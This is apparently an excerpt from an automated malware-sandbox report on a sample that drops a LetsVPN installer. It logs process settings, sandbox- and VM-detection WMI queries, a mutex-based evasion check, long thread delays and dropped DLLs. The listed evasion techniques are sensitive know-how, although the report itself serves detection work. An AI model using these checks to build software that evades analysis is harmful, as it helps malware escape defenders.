            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX

            Malware Analysis System Evasion

            barindex
            Found evasive API chain (may stop execution after checking mutex)
            Source: C:\Users\user\Desktop\KLL.exeEvasive API call chain: CreateMutex,DecisionNodes,ExitProcessgraph_0-16312
            Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : associators of {\\user-PC\root\cimv2:Win32_DiskPartition.DeviceID=&quot;Disk #0, Partition #1&quot;} where resultclass = Win32_DiskDrive
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_DiskDriveToDiskPartition where Dependent=&quot;Win32_DiskPartition.DeviceID=\&quot;Disk #0, Partition #1\&quot;&quot;
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : associators of {\\user-PC\root\cimv2:Win32_DiskPartition.DeviceID=&quot;Disk #0, Partition #1&quot;} where resultclass = Win32_DiskDrive
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_DiskDriveToDiskPartition where Dependent=&quot;Win32_DiskPartition.DeviceID=\&quot;Disk #0, Partition #1\&quot;&quot;
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : associators of {\\user-PC\root\cimv2:Win32_DiskPartition.DeviceID=&quot;Disk #0, Partition #1&quot;} where resultclass = Win32_DiskDrive
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_DiskDriveToDiskPartition where Dependent=&quot;Win32_DiskPartition.DeviceID=\&quot;Disk #0, Partition #1\&quot;&quot;
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : associators of {\\user-PC\root\cimv2:Win32_DiskPartition.DeviceID=&quot;Disk #0, Partition #1&quot;} where resultclass = Win32_DiskDrive
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_DiskDriveToDiskPartition where Dependent=&quot;Win32_DiskPartition.DeviceID=\&quot;Disk #0, Partition #1\&quot;&quot;
            Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_NetworkAdapter where ServiceName=&quot;tap0901&quot;
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_NetworkAdapter where GUID=&quot;{7FBF971F-4AC4-4B5F-B7AA-0306F08F0DE9}&quot;
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::PutInstance - root\cimv2 : Win32_NetworkAdapter.DeviceID=&quot;10&quot;
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select MACAddress From Win32_NetworkAdapter WHERE ((MACAddress Is Not NULL) AND (Manufacturer &lt;&gt; &apos;Microsoft&apos;))
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_NetworkAdapter where ServiceName=&quot;tap0901&quot;
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_NetworkAdapterConfiguration where SettingID=&quot;{7FBF971F-4AC4-4B5F-B7AA-0306F08F0DE9}&quot;
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_NetworkAdapterConfiguration.Index=10::EnableStatic
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_networkadapterconfiguration where ServiceName = &apos;tap0901&apos;
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_NetworkAdapterConfiguration.Index=10::EnableStatic
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_NetworkAdapter where ServiceName=&quot;tap0901&quot;
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_NetworkAdapter where GUID=&quot;{7FBF971F-4AC4-4B5F-B7AA-0306F08F0DE9}&quot;
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::PutInstance - root\cimv2 : Win32_NetworkAdapter.DeviceID=&quot;10&quot;
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_NetworkAdapter where ServiceName=&quot;tap0901&quot;
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_NetworkAdapterConfiguration where SettingID=&quot;{7FBF971F-4AC4-4B5F-B7AA-0306F08F0DE9}&quot;
            Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_LogicalDisk where DeviceId = &apos;C:&apos;
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : associators of {\\user-PC\ROOT\cimv2:Win32_LogicalDisk.DeviceID=&quot;C:&quot;} where resultclass = Win32_DiskPartition
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_LogicalDiskToPartition where Dependent=&quot;Win32_LogicalDisk.DeviceID=\&quot;C:\&quot;&quot;
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_LogicalDisk where DeviceId = &apos;C:&apos;
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : associators of {\\user-PC\ROOT\cimv2:Win32_LogicalDisk.DeviceID=&quot;C:&quot;} where resultclass = Win32_DiskPartition
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_LogicalDiskToPartition where Dependent=&quot;Win32_LogicalDisk.DeviceID=\&quot;C:\&quot;&quot;
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_LogicalDisk where DeviceId = &apos;C:&apos;
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : associators of {\\user-PC\ROOT\cimv2:Win32_LogicalDisk.DeviceID=&quot;C:&quot;} where resultclass = Win32_DiskPartition
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_LogicalDiskToPartition where Dependent=&quot;Win32_LogicalDisk.DeviceID=\&quot;C:\&quot;&quot;
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_LogicalDisk where DeviceId = &apos;C:&apos;
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : associators of {\\user-PC\ROOT\cimv2:Win32_LogicalDisk.DeviceID=&quot;C:&quot;} where resultclass = Win32_DiskPartition
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_LogicalDiskToPartition where Dependent=&quot;Win32_LogicalDisk.DeviceID=\&quot;C:\&quot;&quot;
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeMemory allocated: 1660000 memory reserve | memory write watch
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeMemory allocated: 3130000 memory reserve | memory write watch
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeMemory allocated: 5130000 memory reserve | memory write watch
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeMemory allocated: 15A0000 memory reserve | memory write watch
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeMemory allocated: 3250000 memory reserve | memory write watch
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeMemory allocated: 30B0000 memory reserve | memory write watch
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeMemory allocated: D70000 memory reserve | memory write watch
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeMemory allocated: 2920000 memory reserve | memory write watch
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeMemory allocated: 4920000 memory reserve | memory write watch
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeMemory allocated: 1100000 memory reserve | memory write watch
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeMemory allocated: 2B30000 memory reserve | memory write watch
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeMemory allocated: 1150000 memory reserve | memory write watch
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeMemory allocated: 1100000 memory reserve | memory write watch
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeMemory allocated: 2E30000 memory reserve | memory write watch
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeMemory allocated: 4E30000 memory reserve | memory write watch
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeThread delayed: delay time: 922337203685477
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeThread delayed: delay time: 922337203685477
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeThread delayed: delay time: 300000
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeThread delayed: delay time: 922337203685477
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeThread delayed: delay time: 922337203685477
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeThread delayed: delay time: 922337203685477
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeThread delayed: delay time: 922337203685477
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeThread delayed: delay time: 922337203685477
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeThread delayed: delay time: 922337203685477
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeThread delayed: delay time: 922337203685477
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeWindow / User API: threadDelayed 5059Jump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeWindow / User API: threadDelayed 4565Jump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1547
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 477
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 6834
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2865
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWindow / User API: threadDelayed 1947
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeWindow / User API: threadDelayed 6073
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\WpfAnimatedGif.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.Specialized.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\CommunityToolkit.Mvvm.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\ndp462-web.exeJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Pipes.AccessControl.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\PusherClient.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.nativelibrary.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsVPNDomainModel.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Ping.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Hardcodet.Wpf.TaskbarNotification.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLiteNetExtensions.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.AccessControl.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Principal.Windows.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ValueTuple.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XDocument.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.AppCenter.Analytics.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Drawing.Common.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\Utils.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeDropped PE file which has not been started: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Buffers.dllJump to dropped file
